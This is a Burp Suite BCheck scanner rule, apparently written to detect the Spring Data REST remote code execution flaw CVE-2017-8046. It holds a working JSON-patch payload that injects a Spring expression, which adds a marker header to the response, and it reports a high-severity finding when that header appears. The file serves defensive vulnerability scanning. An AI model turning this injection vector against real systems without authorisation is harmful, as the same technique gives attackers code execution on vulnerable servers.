CVE-2017-8046-spring_data_rest_rce.bcheck

metadata:
    language: v1-beta
    name: "CVE-2017-8046 Spring Data Rest RCE"
    description: "Spring Data Rest RCE (CVE-2017-8046)"
    author: "timeshatter"
    tags: "Spring Data Rest RCE","CVE-2017-8046"

define:
    poc="[{ \"op\": \"replace\", \"path\": \"{T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader('vuln', 'True')}/aa\", \"value\": \"aaa\" }]"
    answer="vuln: True"

given request then
    send request:
        method: "PATCH"
        headers:
        "Content-Type":"application/json-patch+json"
        body: {poc}

    if {answer} in {latest.response} then
        report issue:
            severity: high
            confidence: certain
            detail: "The application transforms input in a way that suggests it might be
                         vulnerable to Spring Data Rest RCE(CVE-2017-8046)."
            remediation: "Manual investigation is advised."
    end if